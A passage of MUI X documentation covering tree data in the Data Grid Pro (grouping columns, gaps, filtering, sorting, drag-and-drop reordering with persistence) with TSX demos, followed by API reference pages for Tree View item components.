const columns: GridColDef[] = [{ field: 'jobTitle', width: 250 }];

const rows: GridRowsProp = [
  { path: 'Sarah', jobTitle: 'CEO', id: 0 },
  { path: 'Sarah/Thomas', jobTitle: 'Head of Sales', id: 1 },
  { path: 'Sarah/Thomas/Robert', jobTitle: 'Sales Person', id: 2 },
  { path: 'Sarah/Thomas/Karen', jobTitle: 'Sales Person', id: 3 },
];

const getTreeDataPath: DataGridProProps['getTreeDataPath'] = (row) =>
  row.path.split('/');

<DataGridPro
  treeData
  getTreeDataPath={getTreeDataPath}
  rows={rows}
  columns={columns}
/>;
```

:::warning
The `getTreeDataPath` prop should keep the same reference between two renders.
If it changes, the Data Grid assumes that the data itself has changed and recomputes the tree, causing all rows to collapse.
:::

## Customizing grouping columns with tree data

For complete details on customizing grouping columns, see [Row grouping—Grouping columns](/x/react-data-grid/row-grouping/#grouping-columns).
The implementation and behavior are the same when working with tree data, but note that the `leafField` and `mainGroupingCriteria` props are not applicable.

The demo below customizes the **Hierarchy** grouping column:

```tsx
import {
  DataGridPro,
  GridRenderCellParams,
  useGridApiContext,
  GridColDef,
  GridRowsProp,
  DataGridProProps,
  useGridSelector,
  gridFilteredDescendantCountLookupSelector,
} from '@mui/x-data-grid-pro';
import Box from '@mui/material/Box';
import Button, { ButtonProps } from '@mui/material/Button';

export const isNavigationKey = (key: string) =>
  key === 'Home' ||
  key === 'End' ||
  key.indexOf('Arrow') === 0 ||
  key.indexOf('Page') === 0 ||
  key === ' ';

function CustomGridTreeDataGroupingCell(props: GridRenderCellParams) {
  const { id, field, rowNode } = props;
  const apiRef = useGridApiContext();
  const filteredDescendantCountLookup = useGridSelector(
    apiRef,
    gridFilteredDescendantCountLookupSelector,
  );
  const filteredDescendantCount = filteredDescendantCountLookup[rowNode.id] ?? 0;

  const handleClick: ButtonProps['onClick'] = (event) => {
    if (rowNode.type !== 'group') {
      return;
    }

    apiRef.current.setRowChildrenExpansion(id, !rowNode.childrenExpanded);
    apiRef.current.setCellFocus(id, field);
    event.stopPropagation();
  };

  return (
    <Box sx={{ ml: rowNode.depth * 4 }}>
      <div>
        {filteredDescendantCount > 0 ? (
          <Button onClick={handleClick} tabIndex={-1} size="small">
            See {filteredDescendantCount} employees
          </Button>
        ) : (
          <span />
        )}
      </div>
    </Box>
  );
}

interface Row {
  hierarchy: string[];
  jobTitle: string;
  recruitmentDate: Date;
  id: number;
}

const rows: GridRowsProp<Row> = [
  {
    hierarchy: ['Sarah'],
    jobTitle: 'Head of Human Resources',
    recruitmentDate: new Date(2020, 8, 12),
    id: 0,
  },
  {
    hierarchy: ['Thomas'],
    jobTitle: 'Head of Sales',
    recruitmentDate: new Date(2017, 3, 4),
    id: 1,
  },
  {
    hierarchy: ['Thomas', 'Robert'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 11, 20),
    id: 2,
  },
  {
    hierarchy: ['Thomas', 'Karen'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 10, 14),
    id: 3,
  },
  {
    hierarchy: ['Thomas', 'Nancy'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2017, 10, 29),
    id: 4,
  },
  {
    hierarchy: ['Thomas', 'Daniel'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 7, 21),
    id: 5,
  },
  {
    hierarchy: ['Thomas', 'Christopher'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 7, 20),
    id: 6,
  },
  {
    hierarchy: ['Thomas', 'Donald'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2019, 6, 28),
    id: 7,
  },
  {
    hierarchy: ['Mary'],
    jobTitle: 'Head of Engineering',
    recruitmentDate: new Date(2016, 3, 14),
    id: 8,
  },
  {
    hierarchy: ['Mary', 'Jennifer'],
    jobTitle: 'Tech lead front',
    recruitmentDate: new Date(2016, 5, 17),
    id: 9,
  },
  {
    hierarchy: ['Mary', 'Jennifer', 'Anna'],
    jobTitle: 'Front-end developer',
    recruitmentDate: new Date(2019, 11, 7),
    id: 10,
  },
  {
    hierarchy: ['Mary', 'Michael'],
    jobTitle: 'Tech lead devops',
    recruitmentDate: new Date(2021, 7, 1),
    id: 11,
  },
  {
    hierarchy: ['Mary', 'Linda'],
    jobTitle: 'Tech lead back',
    recruitmentDate: new Date(2017, 0, 12),
    id: 12,
  },
  {
    hierarchy: ['Mary', 'Linda', 'Elizabeth'],
    jobTitle: 'Back-end developer',
    recruitmentDate: new Date(2019, 2, 22),
    id: 13,
  },
  {
    hierarchy: ['Mary', 'Linda', 'William'],
    jobTitle: 'Back-end developer',
    recruitmentDate: new Date(2018, 4, 19),
    id: 14,
  },
];

const columns: GridColDef<Row>[] = [
  {
    field: 'name',
    headerName: 'Name',
    valueGetter: (value, row) => {
      const hierarchy = row.hierarchy;
      return hierarchy[hierarchy.length - 1];
    },
  },
  { field: 'jobTitle', headerName: 'Job Title', width: 200 },
  {
    field: 'recruitmentDate',
    headerName: 'Recruitment Date',
    type: 'date',
    width: 150,
  },
];

const getTreeDataPath: DataGridProProps['getTreeDataPath'] = (row) => row.hierarchy;

const groupingColDef: DataGridProProps['groupingColDef'] = {
  headerName: 'Hierarchy',
  renderCell: (params) => <CustomGridTreeDataGroupingCell {...params} />,
};

export default function TreeDataCustomGroupingColumn() {
  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        treeData
        rows={rows}
        columns={columns}
        getTreeDataPath={getTreeDataPath}
        groupingColDef={groupingColDef}
      />
    </div>
  );
}

```

### Accessing the grouping column field

To access the grouping column field—for example, to use it with [column pinning](/x/react-data-grid/column-pinning/)—the Grid provides the `GRID_TREE_DATA_GROUPING_FIELD` constant:

```tsx
<DataGridPro
  treeData
  initialState={{
    pinnedColumns: {
      left: [GRID_TREE_DATA_GROUPING_FIELD],
    },
  }}
  {...otherProps}
/>
```

## Group expansion with tree data

For complete details on customizing the group expansion experience, see [Row grouping—Group expansion](/x/react-data-grid/row-grouping/#group-expansion).
The implementation and behavior are the same when working with tree data.

## Automatic parent and child selection with tree data

For complete details on automatic parent and child selection, see [Row grouping—Automatic parent and child selection](/x/react-data-grid/row-grouping/#automatic-parent-and-child-selection).
The implementation and behavior are the same when working with tree data.

## Gaps in the tree

If the tree data provided is missing levels in the hierarchy, the Data Grid Pro will automatically create the rows needed to fill the gaps.
Consider a simple dataset with two rows:

```js
[{ path: ['A'] }, { path: ['A', 'B', 'C'] }];
```

This tree data implies a `{ path: ["A", "B"] }` row that's not present.
To address this, the Grid generates an internal row so it can render without issues.

In the demo below, rows with no gaps are denoted with **✕** in the **Gap** column—you can see that the rows for Thomas, Mary, and Linda have been autogenerated since they're not present in the dataset.

```tsx
import { DataGridPro, GridColDef, DataGridProProps } from '@mui/x-data-grid-pro';

const rows = [
  {
    hierarchy: ['Sarah'],
    jobTitle: 'Head of Human Resources',
    recruitmentDate: new Date(2020, 8, 12),
    id: 0,
  },
  {
    hierarchy: ['Thomas', 'Robert'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 11, 20),
    id: 2,
  },
  {
    hierarchy: ['Thomas', 'Karen'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 10, 14),
    id: 3,
  },
  {
    hierarchy: ['Thomas', 'Nancy'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2017, 10, 29),
    id: 4,
  },
  {
    hierarchy: ['Thomas', 'Daniel'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 7, 21),
    id: 5,
  },
  {
    hierarchy: ['Thomas', 'Christopher'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 7, 20),
    id: 6,
  },
  {
    hierarchy: ['Thomas', 'Donald'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2019, 6, 28),
    id: 7,
  },
  {
    hierarchy: ['Mary', 'Jennifer'],
    jobTitle: 'Tech lead front',
    recruitmentDate: new Date(2016, 5, 17),
    id: 9,
  },
  {
    hierarchy: ['Mary', 'Jennifer', 'Anna'],
    jobTitle: 'Front-end developer',
    recruitmentDate: new Date(2019, 11, 7),
    id: 10,
  },
  {
    hierarchy: ['Mary', 'Michael'],
    jobTitle: 'Tech lead devops',
    recruitmentDate: new Date(2021, 7, 1),
    id: 11,
  },
  {
    hierarchy: ['Mary', 'Linda', 'Elizabeth'],
    jobTitle: 'Back-end developer',
    recruitmentDate: new Date(2019, 2, 22),
    id: 13,
  },
  {
    hierarchy: ['Mary', 'Linda', 'William'],
    jobTitle: 'Back-end developer',
    recruitmentDate: new Date(2018, 4, 19),
    id: 14,
  },
];

const columns: GridColDef<(typeof rows)[number]>[] = [
  { field: 'jobTitle', headerName: 'Job Title', width: 200 },
  {
    field: 'recruitmentDate',
    headerName: 'Recruitment Date',
    type: 'date',
    width: 150,
  },
  {
    field: 'isAutoGenerated',
    headerName: 'Gap',
    type: 'boolean',
    valueGetter: (value, row, column, apiRef) => {
      const rowId = apiRef.current.getRowId(row);
      const rowNode = apiRef.current.getRowNode(rowId);
      if (rowNode?.type !== 'group') {
        return undefined;
      }

      return rowNode.isAutoGenerated;
    },
  },
];

const getTreeDataPath: DataGridProProps['getTreeDataPath'] = (row) => row.hierarchy;

export default function TreeDataWithGap() {
  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        treeData
        rows={rows}
        columns={columns}
        getTreeDataPath={getTreeDataPath}
      />
    </div>
  );
}

```

## Filtering tree data

When a filter is applied, a node is included if it _or_ any of its descendents passes.

By default, filtering is applied at every level of the tree.
You can limit it to top-level rows with the `disableChildrenFiltering` prop.

```tsx
import * as React from 'react';
import {
  DataGridPro,
  GridColDef,
  GridFilterModel,
  GridLogicOperator,
  GridRowsProp,
  DataGridProProps,
} from '@mui/x-data-grid-pro';
import Box from '@mui/material/Box';
import Checkbox from '@mui/material/Checkbox';
import FormGroup from '@mui/material/FormGroup';
import FormControlLabel from '@mui/material/FormControlLabel';
import Typography from '@mui/material/Typography';

const rows: GridRowsProp = [
  {
    hierarchy: ['Sarah'],
    jobTitle: 'Head of Human Resources',
    recruitmentDate: new Date(2020, 8, 12),
    id: 0,
  },
  {
    hierarchy: ['Thomas'],
    jobTitle: 'Head of Sales',
    recruitmentDate: new Date(2017, 3, 4),
    id: 1,
  },
  {
    hierarchy: ['Thomas', 'Robert'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 11, 20),
    id: 2,
  },
  {
    hierarchy: ['Thomas', 'Karen'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 10, 14),
    id: 3,
  },
  {
    hierarchy: ['Thomas', 'Nancy'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2017, 10, 29),
    id: 4,
  },
  {
    hierarchy: ['Thomas', 'Daniel'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 7, 21),
    id: 5,
  },
  {
    hierarchy: ['Thomas', 'Christopher'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 7, 20),
    id: 6,
  },
  {
    hierarchy: ['Thomas', 'Donald'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2019, 6, 28),
    id: 7,
  },
  {
    hierarchy: ['Mary'],
    jobTitle: 'Head of Engineering',
    recruitmentDate: new Date(2016, 3, 14),
    id: 8,
  },
  {
    hierarchy: ['Mary', 'Jennifer'],
    jobTitle: 'Tech lead front',
    recruitmentDate: new Date(2016, 5, 17),
    id: 9,
  },
  {
    hierarchy: ['Mary', 'Jennifer', 'Anna'],
    jobTitle: 'Front-end developer',
    recruitmentDate: new Date(2019, 11, 7),
    id: 10,
  },
  {
    hierarchy: ['Mary', 'Michael'],
    jobTitle: 'Tech lead devops',
    recruitmentDate: new Date(2021, 7, 1),
    id: 11,
  },
  {
    hierarchy: ['Mary', 'Linda'],
    jobTitle: 'Tech lead back',
    recruitmentDate: new Date(2017, 0, 12),
    id: 12,
  },
  {
    hierarchy: ['Mary', 'Linda', 'Elizabeth'],
    jobTitle: 'Back-end developer',
    recruitmentDate: new Date(2019, 2, 22),
    id: 13,
  },
  {
    hierarchy: ['Mary', 'Linda', 'William'],
    jobTitle: 'Back-end developer',
    recruitmentDate: new Date(2018, 4, 19),
    id: 14,
  },
];

const columns: GridColDef[] = [
  { field: 'jobTitle', headerName: 'Job Title', width: 200 },
  {
    field: 'recruitmentDate',
    headerName: 'Recruitment Date',
    type: 'date',
    width: 150,
  },
];

const getTreeDataPath: DataGridProProps['getTreeDataPath'] = (row) => row.hierarchy;

export default function TreeDataDisableChildrenFiltering() {
  const [disableChildrenFiltering, setDisableChildrenFiltering] =
    React.useState(true);
  const [filterModel, setFilterModel] = React.useState<GridFilterModel>({
    logicOperator: GridLogicOperator.Or,
    items: [
      {
        id: 0,
        field: 'recruitmentDate',
        operator: 'before',
        value: '2018-01-01',
      },
    ],
  });

  return (
    <Box sx={{ width: '100%' }}>
      <FormGroup>
        <FormControlLabel
          control={
            <Checkbox
              checked={disableChildrenFiltering}
              onChange={(event) => setDisableChildrenFiltering(event.target.checked)}
            />
          }
          label={
            <Typography component="span">
              Apply <code>disableChildrenFiltering</code>
            </Typography>
          }
        />
      </FormGroup>
      <Box sx={{ height: 400, pt: 1 }}>
        <DataGridPro
          treeData
          rows={rows}
          columns={columns}
          disableChildrenFiltering={disableChildrenFiltering}
          getTreeDataPath={getTreeDataPath}
          filterModel={filterModel}
          onFilterModelChange={setFilterModel}
          defaultGroupingExpansionDepth={1}
        />
      </Box>
    </Box>
  );
}

```

## Sorting tree data

By default, sorting is applied at every level of the tree.
You can limit it to top-level rows with the `disableChildrenSorting` prop.

```tsx
import * as React from 'react';
import {
  DataGridPro,
  GridColDef,
  GridRowsProp,
  GridSortModel,
  DataGridProProps,
} from '@mui/x-data-grid-pro';
import Box from '@mui/material/Box';
import Checkbox from '@mui/material/Checkbox';
import FormGroup from '@mui/material/FormGroup';
import FormControlLabel from '@mui/material/FormControlLabel';
import Typography from '@mui/material/Typography';

const rows: GridRowsProp = [
  {
    hierarchy: ['Sarah'],
    jobTitle: 'Head of Human Resources',
    recruitmentDate: new Date(2020, 8, 12),
    id: 0,
  },
  {
    hierarchy: ['Thomas'],
    jobTitle: 'Head of Sales',
    recruitmentDate: new Date(2017, 3, 4),
    id: 1,
  },
  {
    hierarchy: ['Thomas', 'Robert'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 11, 20),
    id: 2,
  },
  {
    hierarchy: ['Thomas', 'Karen'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 10, 14),
    id: 3,
  },
  {
    hierarchy: ['Thomas', 'Nancy'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2017, 10, 29),
    id: 4,
  },
  {
    hierarchy: ['Thomas', 'Daniel'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 7, 21),
    id: 5,
  },
  {
    hierarchy: ['Thomas', 'Christopher'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 7, 20),
    id: 6,
  },
  {
    hierarchy: ['Thomas', 'Donald'],
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2019, 6, 28),
    id: 7,
  },
  {
    hierarchy: ['Mary'],
    jobTitle: 'Head of Engineering',
    recruitmentDate: new Date(2016, 3, 14),
    id: 8,
  },
  {
    hierarchy: ['Mary', 'Jennifer'],
    jobTitle: 'Tech lead front',
    recruitmentDate: new Date(2016, 5, 17),
    id: 9,
  },
  {
    hierarchy: ['Mary', 'Jennifer', 'Anna'],
    jobTitle: 'Front-end developer',
    recruitmentDate: new Date(2019, 11, 7),
    id: 10,
  },
  {
    hierarchy: ['Mary', 'Michael'],
    jobTitle: 'Tech lead devops',
    recruitmentDate: new Date(2021, 7, 1),
    id: 11,
  },
  {
    hierarchy: ['Mary', 'Linda'],
    jobTitle: 'Tech lead back',
    recruitmentDate: new Date(2017, 0, 12),
    id: 12,
  },
  {
    hierarchy: ['Mary', 'Linda', 'Elizabeth'],
    jobTitle: 'Back-end developer',
    recruitmentDate: new Date(2019, 2, 22),
    id: 13,
  },
  {
    hierarchy: ['Mary', 'Linda', 'William'],
    jobTitle: 'Back-end developer',
    recruitmentDate: new Date(2018, 4, 19),
    id: 14,
  },
];

const columns: GridColDef[] = [
  { field: 'jobTitle', headerName: 'Job Title', width: 200 },
  {
    field: 'recruitmentDate',
    headerName: 'Recruitment Date',
    type: 'date',
    width: 150,
  },
];

const getTreeDataPath: DataGridProProps['getTreeDataPath'] = (row) => row.hierarchy;

export default function TreeDataDisableChildrenSorting() {
  const [disableChildrenSorting, setDisableChildrenSorting] = React.useState(true);
  const [sortModel, setSortModel] = React.useState<GridSortModel>([
    { field: 'recruitmentDate', sort: 'asc' },
  ]);

  return (
    <Box sx={{ width: '100%' }}>
      <FormGroup>
        <FormControlLabel
          control={
            <Checkbox
              checked={disableChildrenSorting}
              onChange={(event) => setDisableChildrenSorting(event.target.checked)}
            />
          }
          label={
            <Typography component="span">
              Apply <code>disableChildrenSorting</code>
            </Typography>
          }
        />
      </FormGroup>
      <Box sx={{ height: 400, mt: 1 }}>
        <DataGridPro
          treeData
          rows={rows}
          columns={columns}
          disableChildrenSorting={disableChildrenSorting}
          getTreeDataPath={getTreeDataPath}
          sortModel={sortModel}
          onSortModelChange={setSortModel}
          defaultGroupingExpansionDepth={-1}
        />
      </Box>
    </Box>
  );
}

```

:::warning
When using `sortingMode="server"`, a child must always immediately follow its parent:

```ts
// ✅ Row A.A immediately follows its parent
const validRows = [{ path: ['A'] }, { path: ['A', 'A'] }, { path: ['B'] }];

// ❌ Row X.X does not immediately follow its parent
const invalidRows = [{ path: ['X'] }, { path: ['Y'] }, { path: ['X', 'X'] }];
```

:::

## Drag-and-drop tree data reordering

With row reordering, users can reorder tree data or move rows from one group to another.

To enable this feature with tree data, pass the `rowReordering` prop to the Data Grid component.
You also need to pass the `setTreeDataPath()` prop to revert the operation done by [`getTreeDataPath()`](/x/api/data-grid/data-grid-pro/#data-grid-pro-prop-getTreeDataPath) while building the tree, because row reordering can change the path of the row.

```tsx
<DataGridPro
  columns={columns}
  rows={rows}
  treeData
  getTreeDataPath={getTreeDataPath}
  setTreeDataPath={setTreeDataPath}
  rowReordering
/>
```

```tsx
import * as React from 'react';
import { DataGridPro, type DataGridProProps } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

const getTreeDataPath: DataGridProProps['getTreeDataPath'] = (row) => {
  return row.path;
};

const setTreeDataPath: DataGridProProps['setTreeDataPath'] = (path, row) => {
  return {
    ...row,
    path,
  };
};

export default function TreeDataReordering() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    rowLength: 100,
    treeData: { maxDepth: 3, groupingField: 'name', averageChildren: 2 },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        {...data}
        loading={loading}
        rowReordering
        disableRowSelectionOnClick
        getTreeDataPath={getTreeDataPath}
        setTreeDataPath={setTreeDataPath}
      />
    </div>
  );
}

```

### Reordering persistance

To sync the updated row order with an external store, depending on how you manage the order of rows in the external store, you can use either [`processRowUpdate()`](/x/api/data-grid/data-grid-pro/#data-grid-pro-prop-processRowUpdate) or the [`onRowOrderChange()`](/x/api/data-grid/data-grid-pro/#data-grid-pro-prop-onRowOrderChange) callback, or both.

The `processRowUpdate()` callback is triggered whenever a row is updated either by row editing or when the `path` value is updated during a cross parent reorder operation.

After the reorder operation is successfully completed, the `onRowOrderChange()` callback is triggered, which contains information about the new row reordering of the format [`GridRowOrderChangeParams`](/x/api/data-grid/grid-row-order-change-params/).

```tsx
<DataGridPro
  // Fired when:
  // - A row is edited (e.g. when the user changes the value of a cell)
  // - The `path` value is updated during a cross parent reorder operation
  processRowUpdate={processRowUpdate}
  // Fired after a reorder operation is completed
  onRowOrderChange={handleRowOrderChange}
/>
```

The demo below uses a custom data store bound using `useSyncExternalStore()` to persist the row data in local storage.

It maintains a row tree structure which is used to recompute path values after a reorder operation is performed, these props are used to sync the updated row order with the external store:

- **`processRowUpdate()`**: Used to update the row data when a row is edited (`path` value change isn't needed due to dynamic path computation. For static paths, you might need to also sync the `path` values).
- **`onRowOrderChange()`**: Used to capture the new row order after a reorder operation is performed, and update the external store with the new row order.

You can test out the demo by reordering the rows and then refreshing the page to see that the order persists.

```tsx
import * as React from 'react';
import {
  DataGridPro,
  useGridApiRef,
  type DataGridProProps,
} from '@mui/x-data-grid-pro';
import Button from '@mui/material/Button';
import { TreeDataSyncRowDataGroupingCell } from './utils/TreeDataSyncRowDataGroupingCell';
import { DataStore } from './utils/DataStore';

export default function TreeDataSyncRowData() {
  const apiRef = useGridApiRef();

  const dataStore = React.useMemo(() => new DataStore(), []);

  const { rows, loading } = React.useSyncExternalStore(
    dataStore.subscribe,
    dataStore.getSnapshot,
    dataStore.getSnapshot,
  );

  return (
    <div
      style={{ width: '100%', display: 'flex', flexDirection: 'column', gap: 10 }}
    >
      <Button variant="outlined" onClick={() => dataStore.reset()}>
        Reset Local Storage Data
      </Button>
      <div style={{ height: 400 }}>
        <DataGridPro
          apiRef={apiRef}
          loading={loading}
          rows={rows}
          columns={columns}
          treeData
          rowReordering
          isValidRowReorder={isValidRowReorder}
          disableRowSelectionOnClick
          onRowOrderChange={dataStore.handleRowOrderChange}
          processRowUpdate={dataStore.processRowUpdate}
          getTreeDataPath={getTreeDataPath}
          setTreeDataPath={setTreeDataPath}
          groupingColDef={groupingColDef}
        />
      </div>
    </div>
  );
}

const columns: DataGridProProps['columns'] = [
  {
    field: 'type',
    headerName: 'Type',
    width: 120,
    editable: true,
    valueGetter: (value) => {
      const typeMap: Record<string, string> = {
        folder: 'Folder',
        tsx: 'TypeScript',
        ts: 'TypeScript',
        json: 'JSON',
        md: 'Markdown',
        css: 'CSS',
        svg: 'SVG Image',
        png: 'PNG Image',
        jpg: 'JPEG Image',
        txt: 'Text',
      };
      return typeMap[value] || value;
    },
  },
  {
    field: 'modified',
    headerName: 'Modified',
    editable: true,
    width: 140,
    type: 'date',
    valueFormatter: (value) => {
      if (!value) {
        return '';
      }
      const date = new Date(value);
      return date.toLocaleDateString('en-US', {
        month: 'short',
        day: 'numeric',
        year: 'numeric',
      });
    },
  },
  { field: 'size', headerName: 'Size', width: 100, editable: true },
];

const isValidRowReorder: DataGridProProps['isValidRowReorder'] = (context) => {
  const targetRow = context.apiRef.current.getRow(context.targetNode.id);
  if (
    !targetRow ||
    (targetRow.type.toLowerCase() !== 'folder' && context.dropPosition === 'inside')
  ) {
    return false;
  }
  return true;
};

const getTreeDataPath: DataGridProProps['getTreeDataPath'] = (row) => {
  return row.path;
};

const setTreeDataPath: DataGridProProps['setTreeDataPath'] = (path, row) => {
  return {
    ...row,
    path,
  };
};

const groupingColDef: DataGridProProps['groupingColDef'] = {
  headerName: 'Name',
  renderCell: TreeDataSyncRowDataGroupingCell as any,
};

```

:::info
The demo above uses the `isValidRowReorder()` prop to disallow converting files (or leaf rows) into parents.

Check the [Row ordering—Disable specific reorder operations](/x/react-data-grid/row-ordering/#disable-specific-reorder-operations) documentation section for more details.
:::

## Lazy-loading tree data children

See [Server-side data—Tree data](/x/react-data-grid/server-side-data/tree-data/) for details on lazy-loading tree data children.

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)
- [GridRowOrderChangeParams](/x/api/data-grid/grid-row-order-change-params/)

---

# Source: https://mui.com/x/api/tree-view/tree-item-drag-and-drop-overlay.md

# TreeItemDragAndDropOverlay API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Rich Tree View - Ordering

## Import

```jsx
import { TreeItemDragAndDropOverlay } from '@mui/x-tree-view/TreeItemDragAndDropOverlay';
// or
import { TreeItemDragAndDropOverlay } from '@mui/x-tree-view';
// or
import { TreeItemDragAndDropOverlay } from '@mui/x-tree-view-pro';
```

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-tree-view/src/TreeItemDragAndDropOverlay/TreeItemDragAndDropOverlay.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-tree-view/src/TreeItemDragAndDropOverlay/TreeItemDragAndDropOverlay.tsx)

---

# Source: https://mui.com/x/api/tree-view/tree-item-icon.md

# TreeItemIcon API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Tree Item customization](/x/react-tree-view/tree-item-customization/)

## Import

```jsx
import { TreeItemIcon } from '@mui/x-tree-view/TreeItemIcon';
// or
import { TreeItemIcon } from '@mui/x-tree-view';
// or
import { TreeItemIcon } from '@mui/x-tree-view-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| collapseIcon | `undefined` | - | The icon used to collapse the item. |
| expandIcon | `undefined` | - | The icon used to expand the item. |
| endIcon | `undefined` | - | The icon displayed next to an end item. |
| icon | `undefined` | - | The icon to display next to the Tree Item's label. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-tree-view/src/TreeItemIcon/TreeItemIcon.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-tree-view/src/TreeItemIcon/TreeItemIcon.tsx)

---

# Source: https://mui.com/x/api/tree-view/tree-item-provider.md

# TreeItemProvider API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Tree Item customization](/x/react-tree-view/tree-item-customization/)

## Import

```jsx
import { TreeItemProvider } from '@mui/x-tree-view/TreeItemProvider';
// or
import { TreeItemProvider } from '@mui/x-tree-view';
// or
import { TreeItemProvider } from '@mui/x-tree-view-pro';
```

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-tree-view/src/TreeItemProvider/TreeItemProvider.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-tree-view/src/TreeItemProvider/TreeItemProvider.tsx)

---

# Source: https://mui.com/x/api/tree-view/tree-item.md

# TreeItem API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Tree View - Quickstart](/x/react-tree-view/quickstart/)
- [Rich Tree View - Customization](/x/react-tree-view/rich-tree-view/customization/)
- [Rich Tree View - Label editing](/x/react-tree-view/rich-tree-view/editing/)
- [Rich Tree View - Expansion](/x/react-tree-view/rich-tree-view/expansion/)
- [Rich Tree View - Focus](/x/react-tree-view/rich-tree-view/focus/)
- [Rich Tree View - Items](/x/react-tree-view/rich-tree-view/items/)
- Rich Tree View - Lazy loading
- Rich Tree View - Ordering
- [Rich Tree View - Selection](/x/react-tree-view/rich-tree-view/selection/)
- [Simple Tree View - Customization](/x/react-tree-view/simple-tree-view/customization/)
- [Simple Tree View - Expansion](/x/react-tree-view/simple-tree-view/expansion/)
- [Simple Tree View - Focus](/x/react-tree-view/simple-tree-view/focus/)
- [Simple Tree View - Items](/x/react-tree-view/simple-tree-view/items/)
- [Simple Tree View - Selection](/x/react-tree-view/simple-tree-view/selection/)
- [Tree Item customization](/x/react-tree-view/tree-item-customization/)

## Import

```jsx
import { TreeItem } from '@mui/x-tree-view/TreeItem';
// or
import { TreeItem } from '@mui/x-tree-view';
// or
import { TreeItem } from '@mui/x-tree-view-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| itemId | `string` | - | Yes |  |
| children | `any` | - | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| disabled | `bool` | `false` | No |  |
| disableSelection | `bool` | `false` | No |  |
| id | `string` | - | No |  |
| label | `node` | - | No |  |
| onBlur | `func` | - | No |  |
| onFocus | `unsupportedProp` | - | No |  |
| onKeyDown | `func` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |

> **Note**: The `ref` is forwarded to the root element (HTMLLIElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiTreeItem` to change the default props of this component with the theme.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| root | `TreeItemRoot` | `.MuiTreeItem-root` | The component that renders the root. |
| content | `TreeItemContent` | `.MuiTreeItem-content` | The component that renders the content of the item.
(e.g.: everything related to this item, not to its children). |
| groupTransition | `TreeItemGroupTransition` | `.MuiTreeItem-groupTransition` | The component that renders the children of the item. |
| iconContainer | `TreeItemIconContainer` | `.MuiTreeItem-iconContainer` | The component that renders the icon. |
| checkbox | `TreeItemCheckbox` | `.MuiTreeItem-checkbox` | The component that renders the item checkbox for selection. |
| label | `TreeItemLabel` | `.MuiTreeItem-label` | The component that renders the item label. |
| labelInput | `TreeItemLabelInput` | `.MuiTreeItem-labelInput` | The component that renders the input to edit the label when the item is editable and is currently being edited. |
| dragAndDropOverlay | `TreeItemDragAndDropOverlay` | `.MuiTreeItem-dragAndDropOverlay` | The component that renders the overlay when an item reordering is ongoing.
Warning: This slot is only useful when using the `` component. |
| errorIcon | `TreeItemErrorContainer` | `.MuiTreeItem-errorIcon` | The component that is rendered when the item is in an error state.
Warning: This slot is only useful when using the `` component is lazy loading is enabled. |
| loadingIcon | `TreeItemLoadingContainer` | `.MuiTreeItem-loadingIcon` | The component that is rendered when the item is in an loading state.
Warning: This slot is only useful when using the `` component is lazy loading is enabled. |
| collapseIcon | `undefined` | - | The icon used to collapse the item. |
| expandIcon | `undefined` | - | The icon used to expand the item. |
| endIcon | `undefined` | - | The icon displayed next to an end item. |
